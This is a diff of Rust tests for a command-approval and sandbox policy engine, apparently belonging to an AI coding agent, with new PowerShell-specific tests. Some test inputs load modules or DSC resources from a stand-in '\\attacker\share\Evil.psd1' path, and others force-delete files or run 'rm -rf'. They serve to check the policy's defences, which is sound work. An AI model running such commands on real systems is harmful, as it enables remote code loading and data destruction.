||||
&command,
|
||||
AskForApproval::OnRequest,
|
||||
PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
requested_prefix.clone(),
|
||||
)
|
||||
.await,
|
||||
one_shot(None),
|
||||
);
|
||||
|
||||
let full_policy = format!("{}\n{inner_allow}", prefix_rule_for(&command, "allow"));
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement_with_options(
|
||||
Some(&full_policy),
|
||||
&command,
|
||||
AskForApproval::OnRequest,
|
||||
PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
requested_prefix,
|
||||
)
|
||||
.await,
|
||||
untrusted_skip(true),
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parser_failures_are_terminal_for_trusted_and_untrusted_runtimes() {
|
||||
let command = powershell_command("Get-Content Cargo.toml");
|
||||
let rendered = render_shlex_command(&command);
|
||||
let cases = [
|
||||
(
|
||||
PowerShellExecPolicyParse::TrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Failed,
|
||||
},
|
||||
"the protected PowerShell parser failed",
|
||||
),
|
||||
(
|
||||
PowerShellExecPolicyParse::UntrustedRuntime {
|
||||
outcome: PowerShellExecPolicyParseOutcome::Failed,
|
||||
},
|
||||
"the protected system parser failed while inspecting an untrusted PowerShell wrapper",
|
||||
),
|
||||
];
|
||||
|
||||
for (parsed, reason) in cases {
|
||||
let Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) =
|
||||
powershell_policy::prepare_classified(&command, parsed)
|
||||
else {
|
||||
panic!("parser failure must produce a terminal policy result");
|
||||
};
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement,
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!("`{rendered}` rejected: {reason}"),
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn trusted_unsupported_scripts_use_the_generic_outer_policy() {
|
||||
let scripts = [
|
||||
"",
|
||||
"param([string]$path) Get-Content Cargo.toml",
|
||||
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
|
||||
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
|
||||
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
|
||||
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
|
||||
// The raw pre-parser gate intentionally accepts false positives in exchange for
|
||||
// never invoking SMA on a possible parse-time construct.
|
||||
"Write-Output 'confusing but inert'",
|
||||
];
|
||||
let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()];
|
||||
|
||||
for script in scripts {
|
||||
let command = powershell_command(script);
|
||||
for approval_policy in approval_policies() {
|
||||
for permission_profile in &profiles {
|
||||
let requirement = requirement(
|
||||
None,
|
||||
&command,
|
||||
approval_policy,
|
||||
permission_profile.clone(),
|
||||
SandboxPermissions::UseDefault,
|
||||
)
|
||||
.await;
|
||||
let expected =
|
||||
outer_result(&command, approval_policy == AskForApproval::UnlessTrusted);
|
||||
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement,
|
||||
expected,
|
||||
"script {script:?} with {approval_policy:?} and {permission_profile:?}",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn dangerous_trusted_unsupported_scripts_keep_generic_policy_protections() {
|
||||
let command = powershell_command("Write-Output 'using'; Remove-Item target -Force");
|
||||
let rendered = render_shlex_command(&command);
|
||||
let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()];
|
||||
|
||||
for approval_policy in approval_policies() {
|
||||
for permission_profile in &profiles {
|
||||
let requirement = requirement(
|
||||
None,
|
||||
&command,
|
||||
approval_policy,
|
||||
permission_profile.clone(),
|
||||
SandboxPermissions::UseDefault,
|
||||
)
|
||||
.await;
|
||||
let expected = match approval_policy {
|
||||
AskForApproval::Never
|
||||
if matches!(permission_profile, PermissionProfile::Disabled) =>
|
||||
{
|
||||
outer_result(&command, false)
|
||||
}
|
||||
AskForApproval::Never => ExecApprovalRequirement::Forbidden {
|
||||
reason: format!("`{rendered}` rejected: blocked by policy"),
|
||||
},
|
||||
AskForApproval::Granular(config) if !config.allows_sandbox_approval() => {
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(),
|
||||
}
|
||||
}
|
||||
_ => outer_result(&command, true),
|
||||
};
|
||||
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement,
|
||||
expected,
|
||||
"{approval_policy:?} with {permission_profile:?}",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn sandbox_override_on_trusted_unsupported_script_uses_outer_argv() {
|
||||
let command = powershell_command("Write-Output 'confusing but inert'");
|
||||
|
||||
for (approval_policy, permits_prompt) in [
|
||||
(AskForApproval::OnRequest, true),
|
||||
(granular(/*rules*/ true, /*sandbox_approval*/ true), true),
|
||||
(granular(/*rules*/ true, /*sandbox_approval*/ false), false),
|
||||
] {
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement(
|
||||
None,
|
||||
&command,
|
||||
approval_policy,
|
||||
PermissionProfile::read_only(),
|
||||
SandboxPermissions::RequireEscalated,
|
||||
)
|
||||
.await,
|
||||
if permits_prompt {
|
||||
outer_result(&command, true)
|
||||
} else {
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(),
|
||||
}
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn trusted_unsupported_scripts_only_match_outer_rules() {
|
||||
let inner_rule_command = powershell_command(
|
||||
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
|
||||
);
|
||||
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement(
|
||||
Some(r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#),
|
||||
&inner_rule_command,
|
||||
AskForApproval::UnlessTrusted,
|
||||
PermissionProfile::read_only(),
|
||||
SandboxPermissions::UseDefault,
|
||||
)
|
||||
.await,
|
||||
outer_result(&inner_rule_command, true),
|
||||
);
|
||||
|
||||
let command = powershell_command("Write-Output 'confusing but inert'");
|
||||
let outer_pattern = command
|
||||
.iter()
|
||||
.map(|word| format!(r#""{}""#, starlark_string(word)))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
let policy_src = format!(r#"prefix_rule(pattern=[{outer_pattern}], decision="allow")"#);
|
||||
pretty_assertions::assert_eq!(
|
||||
requirement(
|
||||
Some(&policy_src),
|
||||
&command,
|
||||
AskForApproval::UnlessTrusted,
|
||||
PermissionProfile::read_only(),
|
||||
SandboxPermissions::UseDefault,
|
||||
)
|
||||
.await,
|
||||
ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox: true,
|
||||
proposed_execpolicy_amendment: None,
|
||||
},
|
||||
);
|
||||
}
|
||||
@@ -39,6 +39,10 @@ use toml::Value as TomlValue;
|
||||
#[path = "exec_policy_windows_tests.rs"]
|
||||
mod windows_tests;
|
||||
|
||||
#[cfg(windows)]
|
||||
#[path = "exec_policy_powershell_tests.rs"]
|
||||
mod powershell_tests;
|
||||
|
||||
fn config_stack_for_dot_codex_folder(dot_codex_folder: &Path) -> ConfigLayerStack {
|
||||
let dot_codex_folder =
|
||||
AbsolutePathBuf::from_absolute_path(dot_codex_folder).expect("absolute dot_codex_folder");
|
||||
@@ -657,7 +661,7 @@ fn commands_for_exec_policy_falls_back_for_empty_shell_script() {
|
||||
let command = vec!["bash".to_string(), "-lc".to_string(), "".to_string()];
|
||||
|
||||
assert_eq!(
|
||||
commands_for_exec_policy(&command, ExecPolicyInputSource::Configured),
|
||||
commands_for_exec_policy(&command),
|
||||
ExecPolicyCommands {
|
||||
commands: vec![command],
|
||||
used_complex_parsing: false,
|
||||
@@ -675,7 +679,7 @@ fn commands_for_exec_policy_falls_back_for_whitespace_shell_script() {
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
commands_for_exec_policy(&command, ExecPolicyInputSource::Configured),
|
||||
commands_for_exec_policy(&command),
|
||||
ExecPolicyCommands {
|
||||
commands: vec![command],
|
||||
used_complex_parsing: false,
|
||||
@@ -902,7 +906,14 @@ EOF"#
|
||||
},
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
|
||||
"zsh".to_string(),
|
||||
"-lc".to_string(),
|
||||
r#"cat <<'EOF' > /some/important/folder/test.txt
|
||||
hello world
|
||||
EOF"#
|
||||
.to_string(),
|
||||
])),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
@@ -1131,196 +1142,6 @@ fn known_safe_on_request_still_prompts_for_restricted_sandbox_escalation() {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn known_safe_sandbox_override_never_uses_the_safelist_to_skip_policy() {
|
||||
let command = vec!["echo".to_string(), "hello".to_string()];
|
||||
let granular = GranularApprovalConfig {
|
||||
sandbox_approval: true,
|
||||
rules: true,
|
||||
skill_approval: true,
|
||||
request_permissions: true,
|
||||
mcp_elicitations: true,
|
||||
};
|
||||
|
||||
for (approval_policy, expected) in [
|
||||
(AskForApproval::OnRequest, Decision::Prompt),
|
||||
(AskForApproval::UnlessTrusted, Decision::Prompt),
|
||||
(AskForApproval::Granular(granular), Decision::Prompt),
|
||||
(AskForApproval::Never, Decision::Forbidden),
|
||||
] {
|
||||
assert_eq!(
|
||||
expected,
|
||||
render_decision_for_unmatched_command(
|
||||
&command,
|
||||
UnmatchedCommandContext {
|
||||
approval_policy,
|
||||
permission_profile: &PermissionProfile::workspace_write(),
|
||||
windows_sandbox_level: WindowsSandboxLevel::RestrictedToken,
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
used_complex_parsing: false,
|
||||
command_origin: ExecPolicyCommandOrigin::Generic,
|
||||
},
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn direct_and_fake_outer_shell_escalations_require_approval_without_amendments() {
|
||||
for command in [
|
||||
vec!["./ls".to_string()],
|
||||
vec!["./zsh".to_string(), "-c".to_string(), "ls".to_string()],
|
||||
vec![
|
||||
"/tmp/workspace/zsh".to_string(),
|
||||
"-c".to_string(),
|
||||
"ls".to_string(),
|
||||
],
|
||||
] {
|
||||
assert_exec_approval_requirement_for_command(
|
||||
ExecApprovalRequirementScenario {
|
||||
policy_src: None,
|
||||
command,
|
||||
approval_policy: AskForApproval::OnRequest,
|
||||
permission_profile: PermissionProfile::workspace_write(),
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
prefix_rule: None,
|
||||
},
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn model_selected_shell_suppresses_inner_command_amendment() {
|
||||
let manager = ExecPolicyManager::default();
|
||||
|
||||
for (command, input_source) in [
|
||||
(
|
||||
vec![
|
||||
"bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
"touch marker".to_string(),
|
||||
],
|
||||
ExecPolicyInputSource::ModelSelectedBare,
|
||||
),
|
||||
(
|
||||
vec![
|
||||
"/tmp/workspace/bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
"touch marker".to_string(),
|
||||
],
|
||||
ExecPolicyInputSource::ModelSelectedPath,
|
||||
),
|
||||
] {
|
||||
let requirement = manager
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command: &command,
|
||||
approval_policy: AskForApproval::UnlessTrusted,
|
||||
permission_profile: PermissionProfile::read_only(),
|
||||
windows_sandbox_level: WindowsSandboxLevel::RestrictedToken,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source,
|
||||
})
|
||||
.await;
|
||||
|
||||
assert_eq!(
|
||||
requirement,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn path_qualified_outer_shell_is_not_inherited_from_a_safe_inner_command() {
|
||||
for (command, input_source) in [
|
||||
(
|
||||
vec![
|
||||
"/bin/sh".to_string(),
|
||||
"-lc".to_string(),
|
||||
"./zsh -c ls".to_string(),
|
||||
],
|
||||
ExecPolicyInputSource::Configured,
|
||||
),
|
||||
(
|
||||
vec![
|
||||
"/tmp/workspace/bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
"ls".to_string(),
|
||||
],
|
||||
ExecPolicyInputSource::ModelSelectedPath,
|
||||
),
|
||||
] {
|
||||
let requirement = ExecPolicyManager::default()
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command: &command,
|
||||
approval_policy: AskForApproval::UnlessTrusted,
|
||||
permission_profile: PermissionProfile::workspace_write(),
|
||||
windows_sandbox_level: WindowsSandboxLevel::RestrictedToken,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source,
|
||||
})
|
||||
.await;
|
||||
|
||||
assert_eq!(
|
||||
requirement,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn path_qualified_shell_detection_handles_unix_and_windows_spellings() {
|
||||
for bare_shell in ["bash", "zsh", "sh", "bash.exe", "powershell.exe"] {
|
||||
assert!(!shell_executable_is_path_qualified(bare_shell));
|
||||
}
|
||||
|
||||
for path_shell in [
|
||||
"./bash",
|
||||
"../zsh",
|
||||
"/bin/sh",
|
||||
r".\bash.exe",
|
||||
r"C:\workspace\bash.exe",
|
||||
r"C:bash.exe",
|
||||
r"\\server\share\powershell.exe",
|
||||
] {
|
||||
assert!(shell_executable_is_path_qualified(path_shell));
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn non_escalated_known_safe_command_keeps_existing_sandboxed_behavior() {
|
||||
assert_exec_approval_requirement_for_command(
|
||||
ExecApprovalRequirementScenario {
|
||||
policy_src: None,
|
||||
command: vec!["echo".to_string(), "hello".to_string()],
|
||||
approval_policy: AskForApproval::OnRequest,
|
||||
permission_profile: PermissionProfile::workspace_write(),
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
},
|
||||
ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox: false,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
|
||||
"echo".to_string(),
|
||||
"hello".to_string(),
|
||||
])),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn managed_cwd_write_profile_has_filesystem_restrictions() {
|
||||
let file_system_sandbox_policy = FileSystemSandboxPolicy::restricted(vec![
|
||||
@@ -1412,7 +1233,10 @@ async fn exec_approval_requirement_prompts_for_inline_additional_permissions_und
|
||||
},
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
|
||||
"touch".to_string(),
|
||||
"requested-dir/requested-but-unused.txt".to_string(),
|
||||
])),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
@@ -1431,7 +1255,10 @@ async fn exec_approval_requirement_prompts_for_known_safe_escalation_under_on_re
|
||||
},
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
|
||||
"echo".to_string(),
|
||||
"hello".to_string(),
|
||||
])),
|
||||
},
|
||||
)
|
||||
.await;
|
||||
@@ -1488,81 +1315,61 @@ async fn exec_approval_requirement_rejects_unmatched_sandbox_escalation_when_gra
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn mixed_rule_and_sandbox_prompt_prioritizes_rule_for_rejection_decision() {
|
||||
async fn mixed_rule_and_sandbox_prompt_requires_every_granular_category_in_either_order() {
|
||||
let policy_src = r#"prefix_rule(pattern=["git"], decision="prompt")"#;
|
||||
let mut parser = PolicyParser::new();
|
||||
parser
|
||||
.parse("test.rules", policy_src)
|
||||
.expect("parse policy");
|
||||
let manager = ExecPolicyManager::new(Arc::new(parser.build()));
|
||||
let command = vec![
|
||||
"bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
"git status && madeup-cmd".to_string(),
|
||||
let cases = [
|
||||
("rule then sandbox", "git status && madeup-cmd"),
|
||||
("sandbox then rule", "madeup-cmd && git status"),
|
||||
];
|
||||
|
||||
let requirement = manager
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command: &command,
|
||||
approval_policy: AskForApproval::Granular(GranularApprovalConfig {
|
||||
sandbox_approval: true,
|
||||
rules: true,
|
||||
skill_approval: true,
|
||||
request_permissions: true,
|
||||
mcp_elicitations: true,
|
||||
}),
|
||||
permission_profile: PermissionProfile::read_only(),
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
for (order, script) in cases {
|
||||
let command = vec!["bash".to_string(), "-lc".to_string(), script.to_string()];
|
||||
for (rules, sandbox_approval, expected_rejection) in [
|
||||
(false, false, Some(REJECT_RULES_APPROVAL_REASON)),
|
||||
(false, true, Some(REJECT_RULES_APPROVAL_REASON)),
|
||||
(true, false, Some(REJECT_SANDBOX_APPROVAL_REASON)),
|
||||
(true, true, None),
|
||||
] {
|
||||
let requirement = manager
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command: &command,
|
||||
approval_policy: AskForApproval::Granular(GranularApprovalConfig {
|
||||
sandbox_approval,
|
||||
rules,
|
||||
skill_approval: true,
|
||||
request_permissions: true,
|
||||
mcp_elicitations: true,
|
||||
}),
|
||||
permission_profile: PermissionProfile::read_only(),
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
prefix_rule: None,
|
||||
})
|
||||
.await;
|
||||
let expected = match expected_rejection {
|
||||
Some(reason) => ExecApprovalRequirement::Forbidden {
|
||||
reason: reason.to_string(),
|
||||
},
|
||||
None => ExecApprovalRequirement::NeedsApproval {
|
||||
reason: Some(format!(
|
||||
"`{}` requires approval by policy",
|
||||
render_shlex_command(&command)
|
||||
)),
|
||||
proposed_execpolicy_amendment: None,
|
||||
},
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
requirement,
|
||||
ExecApprovalRequirement::NeedsApproval { .. }
|
||||
));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn mixed_rule_and_sandbox_prompt_rejects_when_granular_rules_are_disabled() {
|
||||
let policy_src = r#"prefix_rule(pattern=["git"], decision="prompt")"#;
|
||||
let mut parser = PolicyParser::new();
|
||||
parser
|
||||
.parse("test.rules", policy_src)
|
||||
.expect("parse policy");
|
||||
let manager = ExecPolicyManager::new(Arc::new(parser.build()));
|
||||
let command = vec![
|
||||
"bash".to_string(),
|
||||
"-lc".to_string(),
|
||||
"git status && madeup-cmd".to_string(),
|
||||
];
|
||||
|
||||
let requirement = manager
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command: &command,
|
||||
approval_policy: AskForApproval::Granular(GranularApprovalConfig {
|
||||
sandbox_approval: true,
|
||||
rules: false,
|
||||
skill_approval: true,
|
||||
request_permissions: true,
|
||||
mcp_elicitations: true,
|
||||
}),
|
||||
permission_profile: PermissionProfile::read_only(),
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
assert_eq!(
|
||||
requirement,
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: REJECT_RULES_APPROVAL_REASON.to_string(),
|
||||
assert_eq!(
|
||||
requirement, expected,
|
||||
"{order} with rules={rules} and sandbox_approval={sandbox_approval}",
|
||||
);
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
@@ -1578,7 +1385,6 @@ async fn exec_approval_requirement_falls_back_to_heuristics() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
@@ -1604,7 +1410,6 @@ async fn empty_bash_lc_script_falls_back_to_original_command() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
@@ -1634,7 +1439,6 @@ async fn whitespace_bash_lc_script_falls_back_to_original_command() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
@@ -1664,7 +1468,6 @@ async fn request_rule_uses_prefix_rule() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
prefix_rule: Some(vec!["cargo".to_string(), "install".to_string()]),
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
@@ -1672,7 +1475,10 @@ async fn request_rule_uses_prefix_rule() {
|
||||
requirement,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
|
||||
"cargo".to_string(),
|
||||
"install".to_string(),
|
||||
])),
|
||||
}
|
||||
);
|
||||
}
|
||||
@@ -1694,7 +1500,6 @@ async fn request_rule_falls_back_when_prefix_rule_does_not_approve_all_commands(
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
prefix_rule: Some(vec!["cargo".to_string(), "install".to_string()]),
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await;
|
||||
|
||||
@@ -1702,7 +1507,11 @@ async fn request_rule_falls_back_when_prefix_rule_does_not_approve_all_commands(
|
||||
requirement,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
|
||||
"rm".to_string(),
|
||||
"-rf".to_string(),
|
||||
"/tmp/codex".to_string(),
|
||||
])),
|
||||
}
|
||||
);
|
||||
}
|
||||
@@ -1730,7 +1539,6 @@ async fn heuristics_apply_when_other_commands_match_policy() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
@@ -2185,12 +1993,13 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() {
|
||||
])));
|
||||
let (pwsh_approval_reason, expected_req) = if cfg!(windows) {
|
||||
(
|
||||
r#"On Windows, SandboxPolicy::ReadOnly should be assumed to mean
|
||||
that no sandbox is present, so anything that is not "provably
|
||||
safe" should require approval."#,
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: expected_amendment.clone(),
|
||||
"On Windows, an untrusted PowerShell wrapper that cannot be inspected is rejected.",
|
||||
ExecApprovalRequirement::Forbidden {
|
||||
reason: format!(
|
||||
"`{}` rejected: an untrusted PowerShell wrapper could not be inspected with \
|
||||
the protected system parser",
|
||||
render_shlex_command(&sneaky_command)
|
||||
),
|
||||
},
|
||||
)
|
||||
} else {
|
||||
@@ -2212,7 +2021,6 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: permissions,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await,
|
||||
"{pwsh_approval_reason}"
|
||||
@@ -2237,7 +2045,6 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: permissions,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await,
|
||||
r#"On all platforms, a forbidden command should require approval
|
||||
@@ -2258,7 +2065,6 @@ async fn verify_approval_requirement_for_unsafe_powershell_command() {
|
||||
windows_sandbox_level: WindowsSandboxLevel::Disabled,
|
||||
sandbox_permissions: permissions,
|
||||
prefix_rule: None,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await,
|
||||
r#"On all platforms, a forbidden command should require approval
|
||||
@@ -2354,7 +2160,6 @@ async fn exec_approval_requirement_for_command(
|
||||
windows_sandbox_level: WindowsSandboxLevel::RestrictedToken,
|
||||
sandbox_permissions,
|
||||
prefix_rule,
|
||||
input_source: ExecPolicyInputSource::Configured,
|
||||
})
|
||||
.await
|
||||
}
|
||||
|
||||
@@ -1,5 +1,89 @@
|
||||
use super::*;
|
||||
use pretty_assertions::assert_eq;
|
||||
use std::sync::LazyLock;
|
||||
|
||||
static TRUSTED_WINDOWS_POWERSHELL_EXE: LazyLock<String> = LazyLock::new(|| {
|
||||
codex_shell_command::powershell::try_find_powershell_executable_blocking()
|
||||
.expect("Windows PowerShell must be installed")
|
||||
.as_path()
|
||||
.to_str()
|
||||
.expect("the Windows PowerShell path must be valid UTF-8")
|
||||
.to_string()
|
||||
});
|
||||
|
||||
fn powershell_command(script: &str) -> Vec<String> {
|
||||
vec![
|
||||
TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
]
|
||||
}
|
||||
|
||||
fn prefix_rule_for(command: &[String], decision: &str) -> String {
|
||||
let pattern = command
|
||||
.iter()
|
||||
.map(|word| format!(r#""{}""#, starlark_string(word)))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
format!(r#"prefix_rule(pattern=[{pattern}], decision="{decision}")"#)
|
||||
}
|
||||
|
||||
fn skip_outer(command: &[String], bypass_sandbox: bool) -> ExecApprovalRequirement {
|
||||
ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox,
|
||||
proposed_execpolicy_amendment: (!bypass_sandbox)
|
||||
.then(|| ExecPolicyAmendment::new(command.to_vec())),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_outer(command: &[String]) -> ExecApprovalRequirement {
|
||||
ExecApprovalRequirement::NeedsApproval {
|
||||
reason: None,
|
||||
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command.to_vec())),
|
||||
}
|
||||
}
|
||||
|
||||
async fn windows_requirement(
|
||||
policy_src: String,
|
||||
command: &[String],
|
||||
approval_policy: AskForApproval,
|
||||
permission_profile: PermissionProfile,
|
||||
windows_sandbox_level: WindowsSandboxLevel,
|
||||
sandbox_permissions: SandboxPermissions,
|
||||
) -> ExecApprovalRequirement {
|
||||
ExecPolicyManager::new(policy_from_src(Some(&policy_src)))
|
||||
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
|
||||
command,
|
||||
approval_policy,
|
||||
permission_profile,
|
||||
windows_sandbox_level,
|
||||
sandbox_permissions,
|
||||
prefix_rule: None,
|
||||
})
|
||||
.await
|
||||
}
|
||||
|
||||
async fn default_windows_requirement(
|
||||
policy_src: String,
|
||||
command: &[String],
|
||||
) -> ExecApprovalRequirement {
|
||||
windows_requirement(
|
||||
policy_src,
|
||||
command,
|
||||
AskForApproval::UnlessTrusted,
|
||||
PermissionProfile::read_only(),
|
||||
WindowsSandboxLevel::RestrictedToken,
|
||||
SandboxPermissions::UseDefault,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
fn external_profile() -> PermissionProfile {
|
||||
PermissionProfile::External {
|
||||
network: NetworkSandboxPolicy::Restricted,
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn evaluates_powershell_inner_commands_against_prompt_rules() {
|
||||
@@ -7,7 +91,7 @@ async fn evaluates_powershell_inner_commands_against_prompt_rules() {
|
||||
ExecApprovalRequirementScenario {
|
||||
policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="prompt")"#.to_string()),
|
||||
command: vec![
|
||||
"powershell.exe".to_string(),
|
||||
